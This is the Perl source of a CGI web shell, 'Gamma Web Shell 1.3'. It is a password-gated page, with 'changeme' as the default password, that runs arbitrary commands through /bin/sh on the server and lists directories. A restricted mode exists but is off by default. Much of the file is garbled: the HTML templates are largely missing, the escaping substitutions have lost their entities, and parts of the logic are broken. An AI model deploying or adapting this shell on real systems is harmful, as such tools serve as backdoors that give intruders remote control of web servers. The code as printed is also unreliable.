#!/usr/bin/perl ############################################################################### ### Gamma Web Shell ### Copyright 2003 Gamma Group ### All rights reserved ### ### Gamma Web Shell is free for both commercial and non commercial ### use. You may modify this script as you find necessary as long ### as you do not sell it. Redistribution is not allowed without ### prior consent from Gamma Group ([email protected]). ### ### Gamma Group ### use strict; ############################################################################### package WebShell::Configuration; use vars qw($password $restricted_mode $ok_commands); ## ## Password. ## Set to blank if you don't need password protection. ## $password = "changeme"; ## ## Restricted mode. ## Set to "1" to allow only a limited set of commands. ## $restricted_mode = 0; ## ## Available commands. ## The list of available commands for the restricted mode. ## $ok_commands = ['ls', 'ls -l', 'pwd', 'uptime']; ############################################################################### package WebShell::Templates; use vars qw($LOGIN_TEMPLATE $INPUT_TEMPLATE $EXECUTE_TEMPLATE $BROWSE_TEMPLATE); my $VERSION = 'Gamma Web Shell 1.3'; my $STYLESHEET = <

EOT $INPUT_TEMPLATE = <

$VERSION

Command:

Copyright © 2003 Gamma Group

EOT $EXECUTE_TEMPLATE = < [% if old_line %]

[% old_line as html %]

[% output as html %]

[% error as html %]

[% new_line as html %]

EOT $BROWSE_TEMPLATE = < [% if error %]

[% error as html %]

EOT ############################################################################### package WebShell::MiniXIT; sub new { my ($class) = @_; return bless {}, $class; } sub substitute { my ($self, $input, %keywords) = @_; my $statements = $self->parse($input); my $operation = $self->compile($statements); my $output = $self->evaluate($operation, \%keywords); return $output; } sub parse { my ($self, $input) = @_; my $statements = []; my $start = 0; while ($input =~ /(\[%\s*(.*?)\s*%\])/g) { my $match_end = pos($input); my $match_start = $match_end - length($1); if ($start < $match_start) { my $text = substr($input, $start, $match_start-$start); push @$statements, { id => 'text', text => $text }; } push @$statements, $self->parse_command($2); $start = $match_end; } if ($start < length($input)) { my $text = substr($input, $start); push @$statements, { id => 'text', text => $text }; } return $statements; } sub parse_command { my ($self, $command) = @_; if ($command =~ /^if\s+(\w+(\.\w+)*)$/) { return { id => 'if', test => $1, }; } elsif ($command =~ /^elif\s+(\w+(\.\w+)*)$/) { return { id => 'elif', test => $1 }; } elsif ($command =~ /^else$/) { return { id => 'else' }; } elsif ($command =~ /^for\s+(\w+)\s+in\s+(\w+(\.\w+)*)$/) { return { id => 'for', name => $1, list => $2 }; } elsif ($command =~ /^end$/) { return { id => 'end' }; } elsif ($command =~ /^(\w+(\.\w+)*)(\s+as\s+(\w+))$/) { return { id => 'print', variable => $1, format => $4 }; } else { die "invalid command: '$command'"; } } sub compile { my ($self, $statements) = @_; my $operation = $self->compile_sequence($statements); if (scalar(@$statements)) { my $statement = shift(@$statements); my $id = $statements->{id}; die "unexpected statement: '$id'"; } return $operation; } sub compile_sequence { my ($self, $statements) = @_; my $operations = []; while (scalar(@$statements) > 0) { my $id = $statements->[0]->{id}; if ($id eq 'if') { push @$operations, $self->compile_condition($statements); } elsif ($id eq 'for') { push @$operations, $self->compile_loop($statements); } elsif ($id eq 'print' or $id eq 'text') { my $statement = shift @$statements; push @$operations, $statement; } else { last; } } return { id => 'sequence', operations => $operations }; } sub compile_condition { my ($self, $statements) = @_; my $conditions = []; my $statement = shift @$statements; my $id = defined $statement ? $statement->{id} : 'none'; while ($id eq 'if' or $id eq 'elif' or $id eq 'else') { my $test = $id ne 'else' ? $statement->{test} : undef; my $operation = $self->compile_sequence($statements); push @$conditions, { test => $test, operation => $operation }; $statement = shift @$statements; $id = defined $statement ? $statement->{id} : 'none'; } die "'end' expected, but '$id' found" unless $id eq 'end'; return { id => 'condition', conditions => $conditions }; } sub compile_loop { my ($self, $statements) = @_; my $statement = shift @$statements; my $name = $statement->{name}; my $list = $statement->{list}; my $operation = $self->compile_sequence($statements); $statement = shift @$statements; my $id = defined $statement ? $statement->{id} : 'none'; die "'end' expected, but '$id' found" unless $id eq 'end'; return { id => 'loop', name => $name, list => $list, operation => $operation }; } sub evaluate { my ($self, $operation, $keywords) = @_; $keywords->{loop} = {}; my $chunks = $self->evaluate_operation($operation, $keywords); return join('', @$chunks); } sub evaluate_operation { my ($self, $operation, $keywords) = @_; if ($operation->{id} eq 'condition') { return $self->evaluate_condition($operation->{conditions}, $keywords); } elsif ($operation->{id} eq 'loop') { return $self->evaluate_loop($operation->{name}, $operation->{list}, $operation->{operation}, $keywords); } elsif ($operation->{id} eq 'print') { return $self->evaluate_print($operation->{variable}, $operation->{format}, $keywords); } elsif ($operation->{id} eq 'sequence') { my $chunks = []; push @$chunks, @{$self->evaluate_operation($_, $keywords)} for (@{$operation->{operations}}); return $chunks; } elsif ($operation->{id} eq 'text') { return [$operation->{text}]; } } sub evaluate_condition { my ($self, $conditions, $keywords) = @_; for my $condition (@$conditions) { my $test = $condition->{test}; my $value = defined $test ? $self->evaluate_variable($test, $keywords) : 1; return $self->evaluate_operation($condition->{operation}, $keywords) if $value; } return []; } sub evaluate_loop { my ($self, $name, $list, $operation, $keywords) = @_; my $values = $self->evaluate_variable($list, $keywords); my $length = scalar(@$values); my $index = 0; my $chunks = []; for my $value (@$values) { $keywords->{$name} = $value; $keywords->{loop}->{$name} = { index => $index, number => $index+1, first => $index == 0, last => $index == $length-1, odd => $index % 2 == 1, even => $index % 2 == 0, }; push @$chunks, @{$self->evaluate_operation($operation, $keywords)}; $index++; } delete $keywords->{$name}; delete $keywords->{loop}->{$name}; return $chunks; } sub evaluate_print { my ($self, $variable, $format, $keywords) = @_; my $value = $self->evaluate_variable($variable, $keywords); if ($format eq 'html') { for ($value) { s/&/&/g; s/</g; s/>/>/g; s/"/"/g; } } elsif ($format eq 'nbsp') { for ($value) { s/&/&/g; s/</g; s/>/>/g; s/"/"/g; s/ / /g; } } elsif ($format eq 'url') { $value =~ s/(\W)/sprintf('%%%02X', ord($1))/eg; } elsif ($format ne '') { die "unknown format: '$format'"; } return [$value]; } sub evaluate_variable { my ($self, $variable, $keywords) = @_; my $value = $keywords; for my $name (split(/\./, $variable)) { $value = $value->{$name}; } return $value; } ############################################################################### package WebShell::Script; use CGI; use CGI::Carp qw(fatalsToBrowser); use IPC::Open3; use Cwd; use POSIX; sub new { my ($class) = @_; my $self = bless { }, $class; $self->initialize(); return $self; } sub query { my ($self, @names) = @_; my @values = (); for my $name (@names) { my $value = $self->{cgi}->param($name); for ($value) { s/^\s+//; s/\s+$//; } push @values, $value; } return wantarray ? @values : "@values"; } sub initialize { my ($self) = @_; $self->{cgi} = new CGI; $self->{cwd} = $self->{cgi}->cookie(-name => 'WebShell-cwd'); $self->{cwd} = cwd unless defined $self->{cwd}; $self->{cwd} = cwd if $WebShell::Configuration::restricted_mode; $self->{login} = 0; my $login = $self->{cgi}->cookie(-name => 'WebShell-login'); my $password = $self->query('password'); $self->{login} = 1 if crypt($WebShell::Configuration::password, $login."XX") eq $login; $self->{login} = 1 if $password eq $WebShell::Configuration::password; } sub run { my ($self) = @_; return $self->login_action unless $self->{login}; my $action = $self->query('action'); $action = 'default' unless $action =~ /^\w+$/; $action = $self->can($action . '_action'); $action = $self->can('default_action') unless defined $action; $self->$action(); } sub default_action { my ($self) = @_; $self->publish('INPUT'); } sub login_action { my ($self) = @_; $self->publish('LOGIN', error => ($self->query('password') ne '')); } sub command { my ($self, $command) = @_; chdir($self->{cwd}); my $pid = open3(\*WRTH, \*RDH, \*ERRH, "/bin/sh"); print WRTH "$command\n"; close(WRTH); my $output = do { local $/; }; my $error = do { local $/; }; waitpid($pid, 0); return ($output, $error); } sub forbidden_command { my ($self, $command) = @_; my $error = "This command is not available in the restricted mode.\n"; $error .= "You may only use the following commands:\n"; for my $ok_command (@$WebShell::Configuration::ok_commands) { $error .= " $ok_command\n"; } return ('', $error); } sub cd_command { my ($self, $command) = @_; my $error; my $directory = $1 if $command =~ /^cd\s+(\S+)$/; warn "cwd: '$self->{cwd}'\n"; warn "command: '$command'\n"; warn "directory: '$directory'\n"; if ($directory ne '') { $error = $! unless chdir($self->{cwd}); $error = $! unless chdir($directory); } $self->{cwd} = cwd; return ('', $error); } sub execute_action { my ($self) = @_; my $command = $self->query('command'); my $user = getpwuid($>); my $old_line = "[$user: $self->{cwd}]\$ $command"; my ($output, $error); if ($command ne "") { my $allow = not $WebShell::Configuration::restricted_mode; for my $ok_command (@$WebShell::Configuration::ok_commands) { $allow = 1 if $command eq $ok_command; } if ($allow) { $command =~ /^(\w+)/; if (my $method = $self->can("${1}_command")) { ($output, $error) = $self->$method($command); } else { ($output, $error) = $self->command($command); } } else { ($output, $error) = $self->forbidden_command($command); } } my $new_line = "[$user: $self->{cwd}]\$ " unless $command eq ""; $self->publish('EXECUTE', old_line => $old_line, new_line => $new_line, output => $output, error => $error); } sub browse_action { my ($self) = @_; my $error = ""; my $path = $self->query('path'); if ($WebShell::Configuration::restricted_mode and $path ne '') { $error = "You cannot browse directories in the restricted mode."; $path = ""; } $error = $! unless chdir($self->{cwd}); if ($path ne '') { $error = $! unless chdir($path); } $self->{cwd} = cwd; opendir(DIR, '.'); my @dir = readdir(DIR); closedir(DIR); my @entries = (); for my $name (@dir) { my ($dev, $ino, $mode, $nlink, $uid, $gid, $rdev, $size, $atime, $mtime, $ctime, $blksize, $blocks) = stat($name); my $modestr = S_ISDIR($mode) ? 'd' : '-'; $modestr .= ($mode & S_IRUSR) ? 'r' : '-'; $modestr .= ($mode & S_IWUSR) ? 'w' : '-'; $modestr .= ($mode & S_ISUID) ? 's' : ($mode & S_IXUSR) ? 'x' : '-'; $modestr .= ($mode & S_IRGRP) ? 'r' : '-'; $modestr .= ($mode & S_IWGRP) ? 'w' : '-'; $modestr .= ($mode & S_ISGID) ? 's' : ($mode & S_IXGRP) ? 'x' : '-'; $modestr .= ($mode & S_IROTH) ? 'r' : '-'; $modestr .= ($mode & S_IWOTH) ? 'w' : '-'; $modestr .= ($mode & S_IXOTH) ? 'x' : '-'; my $userstr = getpwuid($uid); my $groupstr = getgrgid($gid); my $sizestr = ($size < 1024) ? $size : ($size < 1024*1024) ? sprintf("%.1fk", $size/1024) : sprintf("%.1fM", $size/(1024*1024)); my $timestr = strftime('%H:%M %b %e %Y', localtime($mtime)); push @entries, { name => $name, type_file => S_ISREG($mode), type_dir => S_ISDIR($mode), type_exec => ($mode & S_IXUSR), mode => $modestr, user => $userstr, group => $groupstr, order => (S_ISDIR($mode) ? 0 : 1) . $name, all_rights => (-w $name), size => $sizestr, time => $timestr, }; } @entries = sort { $a->{order} cmp $b->{order} } @entries; my @directory = (); my $path = ''; for my $name (split m|/|, $self->{cwd}) { $path .= "$name/"; push @directory, { name => $name, path => $path, }; } @directory = ({ name => '', path => '/'}) unless @directory; $self->publish('BROWSE', entries => \@entries, directory => \@directory, error => $error); } sub publish { my ($self, $template, %keywords) = @_; $template = eval '$WebShell::Templates::' . $template . '_TEMPLATE'; my $xit = new WebShell::MiniXIT; my $text = $xit->substitute($template, %keywords); $self->{cgi}->url =~ m{^http://([^/]*)(.*)/[^/]*$}; my $domain = $1; my $path = $2; my $cwd_cookie = $self->{cgi}->cookie( -name => 'WebShell-cwd', -value => $self->{cwd}, -domain => $domain, -path => $path, ); my $login = ""; if ($self->{login}) { my $salt = join '', ('.', '/', 0..9, 'A'..'Z', 'a'..'z')[rand 64, rand 64]; $login = crypt($WebShell::Configuration::password, $salt); } my $login_cookie = $self->{cgi}->cookie( -name => 'WebShell-login', -value => $login, -domain => $domain, -path => $path, ); print $self->{cgi}->header(-cookie => [$cwd_cookie, $login_cookie]); print $text; } ############################################################################### package WebShell; my $script = new WebShell::Script; $script->run; ############################################################################### ###############################################################################